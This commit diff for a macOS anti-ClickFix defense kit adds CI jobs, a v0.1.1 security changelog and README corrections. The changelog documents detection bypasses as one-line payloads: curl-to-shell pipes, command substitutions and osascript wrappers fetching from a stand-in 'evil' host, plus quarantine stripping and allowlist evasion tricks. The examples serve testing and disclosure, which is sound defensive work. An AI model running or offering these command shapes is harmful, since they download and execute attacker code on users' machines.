security: v0.1.1 — rewrite detection as a tokenizer, close 9 silent bypasses

.github/workflows/ci.yml

@@ -39,6 +39,32 @@ jobs:
             zsh -n "$f"
           done
 
+  detection-corpus:
+    name: Detection corpus (macOS)
+    # MUST run on macOS, not ubuntu. `[[ =~ ]]` and glob ranges bind to the
+    # platform's regex library, so a Linux-green corpus would not prove macOS
+    # behaviour — and macOS is the only platform this kit runs on.
+    runs-on: macos-latest
+    steps:
+      - uses: actions/checkout@v4
+      - name: Assert every payload shape is classified correctly
+        # Also fails if either tool stops sourcing the shared grammar, or grows
+        # its own host allowlist / detection regex again. That drift is what let
+        # ShellGuard and ClipSentinel silently disagree on 6 of 13 payloads.
+        run: zsh tests/run-corpus.zsh
+
+  zle-integration:
+    name: ShellGuard blocks in a real shell (macOS)
+    runs-on: macos-latest
+    steps:
+      - uses: actions/checkout@v4
+      - name: Drive an interactive zsh over a pty and check a marker file
+        # The corpus proves the grammar. This proves the widget is actually
+        # wired up, that the confirmation prompt can be COMPLETED, and that an
+        # aborted payload genuinely does not execute. v0.1.0 shipped a
+        # confirmation gate that could not be completed at all.
+        run: zsh tests/test-zle-integration.zsh
+
   exposurescan-tests:
     name: ExposureScan redaction invariants
     runs-on: ubuntu-latest

CHANGELOG.md

@@ -5,6 +5,160 @@ All notable changes to the ClickFix Defense Kit are documented here.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [0.1.1] — 2026-07-29
+
+**Security release. If you are running v0.1.0, upgrade.**
+
+v0.1.0's detection grammar was adversarially tested for the first time and it
+did not hold. Nine of thirteen realistic ClickFix payload shapes passed
+ShellGuard **silently** — no prompt, no banner, nothing. ExposureScan's headline
+privacy invariant was false for the highest-value secret class it ranks P0. And
+ShellGuard's confirmation prompt could not actually be completed.
+
+Every bypass is written up in [SECURITY.md](./SECURITY.md), and every one is now
+a row in [`tests/corpus.tsv`](./tests/corpus.tsv) that fails the build if it ever
+regresses. This project's whole pitch is refusing claims it cannot back, so it
+publishes its own misses.
+
+### Fixed — ShellGuard (detection)
+
+- **The grammar is no longer regexes over a raw string.** Detection moved to a
+  tokenizer in the new shared `lib/clickfix-grammar.zsh`, which respects
+  quoting, splits into statements and pipeline stages, and normalizes each
+  stage's command word before classifying it. Evading it now requires changing
+  what the command *does*, not how it is spelled. Bypasses closed:
+  - `curl "https://evil/x?a=1&b=2" | sh` — an ordinary `&` in a query string
+    broke the `[^|;&]*` run, so **any URL with a query string was invisible**.
+  - `curl https://evil/x | bash;` — one trailing character broke the
+    `([[:space:]]|$)` anchor.
+  - `curl https://evil/x | /bin/sh`, `| \sh`, `| 'sh'`, `| command sh`,
+    `| env sh`, `| sudo -u nobody sh` — a path, a quote, a backslash or a
+    prefix command defeated the bare-literal interpreter match.
+  - `bash -c "$(curl -fsSL https://evil/x)"` — no pipe-to-interpreter shape at
+    all, so nothing matched. This is the Homebrew-installer shape.
+  - `$(curl https://evil/x)` — a bare command substitution with no `eval`.
+  - `curl … | tee /tmp/p | sh`, `curl … | gunzip | bash` — an interposed stage.
+  - `curl -o /tmp/p https://evil/x; sh /tmp/p` — download and execute split
+    across two statements. Now detected at the `warn` tier.
+  - `osascript -e 'do shell script "curl … | zsh"'` — the shape used by the
+    `applescript://` Script Editor lure, which never touches a shell prompt.
+  - `xxd -r`, `openssl enc -d`, `tr` and other non-base64 decoders.
+- **`raw.githubusercontent.com` and `raw.github.com` removed from the default
+  allowlist.** Any GitHub account can publish an arbitrary script to those
+  hosts, so v0.1.0 was telling an attacker exactly where to stage a payload it
+  would then wave through in silence. Trust is now scheme+host+**path prefix**
+  (`raw.githubusercontent.com/ohmyzsh/` and friends), and the wildcard-subdomain
+  trust rule is gone.
+- **The allowlist can no longer waive the always-hostile rules.** v0.1.0 applied
+  it uniformly after all patterns, which silently waived its own osascript rule
+  — the one its source comment called "always hostile".
+- Added a never-allowlistable high-risk staging host set (gist, Discord CDN,
+  pastebin, IPFS, ngrok, transfer.sh …) that escalates the warning instead.
+- Added detection for `xattr -c` / `-d com.apple.quarantine` (manually
+  disarming Gatekeeper) and for `hdiutil attach` of a remote or `/tmp` disk
+  image (the delivery step in current macOS stealer campaigns).
+- Added detection for zero-width, bidi and Cyrillic/Greek look-alike characters
+  in command position.
+
+### Fixed — ShellGuard (the confirmation gate could not be completed)
+
+- **`read -r < /dev/tty` inside a ZLE widget never returned.** While a widget
+  runs, the line editor holds the terminal in raw mode with echo off: the user
+  saw nothing as they typed, and because Enter sends CR (not LF) in raw mode,
+  `read` waited forever. The typed-phrase gate — the entire point of the block
+  tier — was not completable. It now uses zsh's `read-from-minibuffer`, with an
+  `stty sane` save/restore fallback. Covered by a new pty-driven integration
+  test that types into a real interactive zsh and checks a marker file to prove
+  an aborted payload genuinely does not execute.
+- The command is no longer printed raw into the warning banner. It is stripped
+  of control characters and capped in height, so a payload cannot emit ANSI to
+  scroll the warning off screen or paint a fake confirmation line into it.
+
+### Fixed — false positives (an uninstalled guard catches nothing)
+
+- Unquoted `#` comments are stripped before analysis, so
+  `ls # dont run curl https://x | sh` no longer prompts — and a decoy trailing
+  comment no longer suppresses ClipSentinel.
+- `/dev/tcp` only fires when it appears **outside** a quoted string, or inside
+  an interpreter's `-c` program. `git commit -m "note about /dev/tcp/h/9000"`
+  no longer prompts.
+- An inline `python -c` program now requires **both** a network primitive and an
+  exec primitive. v0.1.0 fired on either alone, so
+  `python3 -c "import os; os.system(1)"` was flagged with no network involved.
+- `curl … | python3 -m json.tool` is downgraded to `warn` rather than blocked.
+- **New `warn` tier**: banner plus a single Enter, for heuristics with real
+  false-positive rates. The typed phrase is reserved for unambiguous attack
+  shapes, so it does not become muscle memory.
+
+### Fixed — ClipSentinel
+
+- **A single token silenced the entire tool.** `_is_allowlisted` was a bare
+  substring test against the whole clipboard buffer and its list contained
+  `install.sh`, so `curl https://<attacker>/get4/install.sh | bash` — the shape
+  in published AMOS IOCs — raised nothing. `bun.sh` likewise substring-matched
+  `evil-bun.shop`, and appending `# deno.land` suppressed anything at all. A
+  ClickFix page controls the exact clipboard bytes, so this was a guaranteed,
+  attacker-chosen, total suppression.
+- ClipSentinel and ShellGuard now share one grammar file. The v0.1.0 README
+  claimed they were "kept in lockstep"; they disagreed on 6 of 13 payloads. CI
+  now fails if either tool grows its own host list or detection regex again.
+- The event log no longer records a preview of the copied text (which included
+  the attacker URL) while the README promised contents were "never stored". It
+  records the verdict, the reason, and a truncated hash — enough to correlate
+  two events, never enough to recover the payload.
+
+### Fixed — ExposureScan
+
+- **The "architecturally incapable of emitting a secret value" claim was false.**
+  A 12-word BIP-39 seed phrase passed `redact()` byte-identical (no unbroken
+  20-character run, no `=`), as did `postgres://admin:hunter2@host/db` and
+  `PIN 4821 / password hunter2`. `KEY = correct horse battery staple` emitted
+  three of the four words *and* a literal `<redacted>` that made the line look
+  sanitized.
+- **Apple Notes titles were emitted verbatim, and Apple derives the title from
+  the note's first line** — so for the exact user this surface exists for
+  (someone who pasted a seed phrase into Notes) the secret *was* the title.
+  Findings now carry `Note #id (title N chars, modified <date>)`.
+- **PII filenames were emitted verbatim** into stdout, the markdown report and
+  the JSON sidecar — a card number in a filename was reproduced and annotated
+  `credit-card: 1`. Now withheld behind a hash.
+- **Seed-phrase *detection* only matched the label** ("seed phrase",
+  "mnemonic"). A note containing nothing but the twelve words — the actual
+  catastrophic case — was never flagged at all.
+- Ships the 2048-word BIP-39 list; redaction triggers at ≥6 consecutive
+  wordlist tokens, detection at ≥11.
+- Control characters, ANSI escapes and markdown metacharacters are neutralised,
+  so a crafted filename or note title can no longer inject a forged finding
+  into the report.
+- `shutil.copy2` → `copyfile` + explicit `chmod 0600`: `copystat` was widening
+  the temp copy of browser Login Data back to the source's 0644.
+- Temp database copies are now removed on exception, SIGINT, SIGTERM and
+  SIGHUP instead of being orphaned in `TMPDIR`.
+- `--out`/`--json` are written 0600 and atomically; the README no longer
+  demonstrates writing a credential map to `/tmp`.
+- Dropped `immutable=1`, which made SQLite ignore the `-wal` file the code went
+  to the trouble of copying — silently under-counting the most recent logins and
+  cookies in a report whose entire output is a risk score.
+
+### Fixed — Canary
+
+- **`canary --list` crashed on any non-empty ledger.** It read the field into
+  `_kind` and printed `$kind`, and under `set -u` that aborted with
+  `kind: unbound variable`. The advertised audit command had never worked, so
+  nobody had ever successfully reviewed a plant — including the missing-decoy
+  check that is itself a breach signal.
+
+### Added
+
+- `lib/clickfix-grammar.zsh` — the shared, tokenizer-based detection grammar.
+- `tests/corpus.tsv` — 78 asserted payload/verdict rows, including every
+  v0.1.0 bypass and every known false positive.
+- `tests/run-corpus.zsh` — corpus runner plus the anti-drift assertion.
+- `tests/test-zle-integration.zsh` — drives a real interactive zsh over a pty.
+- `exposurescan/tests/test_invariant.py` — 35 new tests, including end-to-end
+  scan→render→sidecar assertions that no secret reaches any artifact.
+- CI now runs the corpus and the pty integration test on **macOS** runners.
+
 ## [Unreleased]
 
 ### Added

README.md

@@ -62,9 +62,22 @@ This is the part most people get wrong, so it's worth stating plainly:
   and pipes **straight into a shell** without ever landing as a launched file —
   never gets that attribute and never triggers a file-launch check. Gatekeeper is
   **structurally bypassed, not defeated.** There is nothing for it to scan.
-- **The macOS 26.4 Terminal paste-warning is warn-only and user-overridable**
-  ("Paste Anyway"), and it keys off the source app — so it provably misses a
-  `curl | bash` the page placed on the clipboard from a browser the user trusts.
+- **The macOS 26.4 Terminal paste-warning does not inspect what you pasted, and
+  on a developer's Mac it is usually not running at all.** Per public reversing
+  of `xprotectd` (Adam Codega, corroborated by Patrick Wardle), the alert does
+  not examine paste *contents* — pasting `hello world` triggers it too. It
+  matches the source app's signing identifier against a fixed list. What
+  actually matters is that it is **suppressed entirely** when developer tools
+  are present, when Terminal has been opened recently, and when SIP is
+  disabled. Every one of those describes this kit's audience, so Apple's paste
+  protection is effectively **inactive on exactly the machines most likely to be
+  attacked through a terminal**.
+
+  > *Correction:* v0.1.0 of this README said the alert "keys off the source app
+  > — so it provably misses a `curl | bash` from a browser the user trusts."
+  > That was wrong; a browser is precisely what it *does* flag. The real gap is
+  > the exemption conditions above, which is a stronger argument, and the kit
+  > was leaving it on the table while stating something falsifiable.
 - **TCC (Privacy & Security prompts)** gate *file-category* and *automation*
   access — but the malware runs through already-trusted, Apple-signed binaries
   (`Terminal`, `bash`, `osascript`) that inherit the user's own grants, and the
@@ -86,16 +99,18 @@ persist → exfiltrate**, plus a self-audit of what's already exposed.
 
 | Tool | Stage it covers | What it actually stops / does | Honest positioning vs. prior art |
 |------|-----------------|-------------------------------|----------------------------------|
-| **[ShellGuard](./shellguard)** | **Execute** | A zsh ZLE `accept-line` guard. Intercepts download/decode-and-execute commands (`curl\|sh`, `eval $(curl)`, `base64 -d\|sh`, `osascript\|sh`, `/dev/tcp` reverse shells) **at the moment you press Enter** and forces a typed confirmation phrase. | **The genuinely unoccupied control point on macOS.** Existing detections are Windows/PowerShell-focused, browser-side, or source-app heuristics that provably miss a pasted `curl\|bash`. ShellGuard gates at the last, most authoritative moment: execution. |
+| **[ShellGuard](./shellguard)** | **Execute** | A zsh guard that tokenizes the command you are about to run, and stops download/decode-and-execute shapes **at the moment you press Enter** — two tiers: a typed confirmation phrase for unambiguous attacks, a single Enter for heuristics. | **The zero-permission control point.** Objective-See's **BlockBlock** added ClickFix protection at Cmd+V in Feb 2026 and inspects real paste content — if you will install a system extension, run it. ShellGuard's remaining honest claim is narrower and still real: it needs **no root, no kext, no system extension and no TCC grant**, it is the only layer that fires on a **typed** (not pasted) command, and it gates at the last authoritative moment: execution. |
 | **[ExposureScan](./exposurescan)** | **Self-audit** | A read-only, **names-and-counts-only** scan of four surfaces (browser logins, Apple Notes, `.env` files, `~/.secrets`, plus PII markers) that prints a **blast-radius map ranked by pivot value** — never a single secret value. | **Inverts the trufflehog/gitleaks posture.** Those tools *find and print the value*. ExposureScan answers *"what would a stealer walk away with?"* with the values **architecturally absent from the code path**. That inversion is the product. |
-| **[ClipSentinel](./clipsentinel)** | **Copy** | A dependency-free clipboard watchdog. Fires a macOS notification the instant a dangerous command lands on your clipboard — the earliest interception point, before any terminal is involved. | Early-warning siren. It **cannot block a paste** (macOS exposes no API to). The authoritative block is ShellGuard; ClipSentinel buys you a beat of awareness first. |
+| **[ClipSentinel](./clipsentinel)** | **Copy** | A dependency-free clipboard watchdog. Fires a macOS notification the instant a dangerous command lands on your clipboard — the earliest interception point, before any terminal is involved. | **Use BlockBlock instead if you'll install a system extension** — since Feb 2026 it inspects actual paste content at Cmd+V and does this job better. ClipSentinel is the **zero-permission fallback**: nothing to approve, nothing to trust with root, which is the difference between a family member having *something* and having nothing. It cannot block a paste (macOS exposes no API to); the authoritative block is ShellGuard. |
 | **[Canary](./canary)** | **Detect breach** | A honeytoken generator. Plants traceable decoy credentials (fake AWS keys, `.env`, `passwords.txt`) where stealers grab them, with a walkthrough to wire them to **canarytokens.org** (network callback) and/or `eslogger` (local read-watch). | The network-callback half is **Thinkst Canarytokens' / Objective-See's** territory and they win it — this tool is the *turnkey placement + literacy layer* around them. The only additive sliver is the `eslogger` local-read tripwire for a "read-and-walk-away" attacker. |
 | **[WatchPost](./watchpost)** | **Persist** | A zero-dependency, cron-scheduled persistence + login-item baseline-diff for **unattended** Macs (e.g. a headless Mac Mini). Flags new/tampered LaunchAgents, LaunchDaemons, cron, and login items with a `codesign` verdict. | **Objective-See's BlockBlock/KnockKnock win the real-time, signing-aware version** — use those on a Mac you sit at. WatchPost's only non-duplicative slice is the **headless, notification-wired** diff for a machine where an interactive prompt can't reach you. |
 | **[GuestMode](./guestmode)** | **Contain** | A safe wrapper + manual guide for creating a **standard, non-admin** macOS account for movie night / family / guests, so a phished password can't escalate and the guest can't read your `~/dev` or `~/.secrets`. | A **stock-macOS** blast-radius reducer. No novelty in the mechanism — the value is packaging the right setting with the right honest explanation for the exact victim profile. Containment, not prevention. |
 
 > **A note on honesty (read it):** the kit's real novelty is **not** any single
-> monitor. It's three things stacked: (1) **ShellGuard's** execute-time zsh
-> grammar gate, a genuinely unoccupied control point on macOS; (2)
+> monitor. It's three things stacked: (1) **ShellGuard's** execute-time,
+> zero-permission grammar gate — no longer an *unoccupied* control point, since
+> BlockBlock now covers paste-time, but still the only one that needs no
+> system extension and the only one that sees a typed command; (2)
 > **ExposureScan's** names-and-counts-only, four-surface, blast-radius-framed
 > self-audit, which inverts the entire find-and-print-the-value posture of
 > secret scanners into a personal attack-surface map — and physically removing
@@ -184,10 +199,10 @@ This is education and self-defense. Treat it that way.
 
 ## The honest novelty, one more time
 
-If you only remember one thing: the differentiated, genuinely-new pieces are
-**ExposureScan** (the value-absent, blast-radius-framed self-audit) and
-**ShellGuard** (the execute-time zsh grammar gate on a control point nothing else
-occupies on macOS). Everything else is careful glue, honest packaging, and a
+If you only remember one thing: the differentiated pieces are **ExposureScan**
+(the value-absent, blast-radius-framed self-audit) and **ShellGuard** (the
+execute-time grammar gate that costs the user no permission grant at all).
+Everything else is careful glue, honest packaging, and a
 literacy layer aimed at the real-world ClickFix victim — the tired person on the
 couch trying to watch a movie — instead of the enterprise SOC. That victim was me.
 This is the kit I wish I'd had installed that night.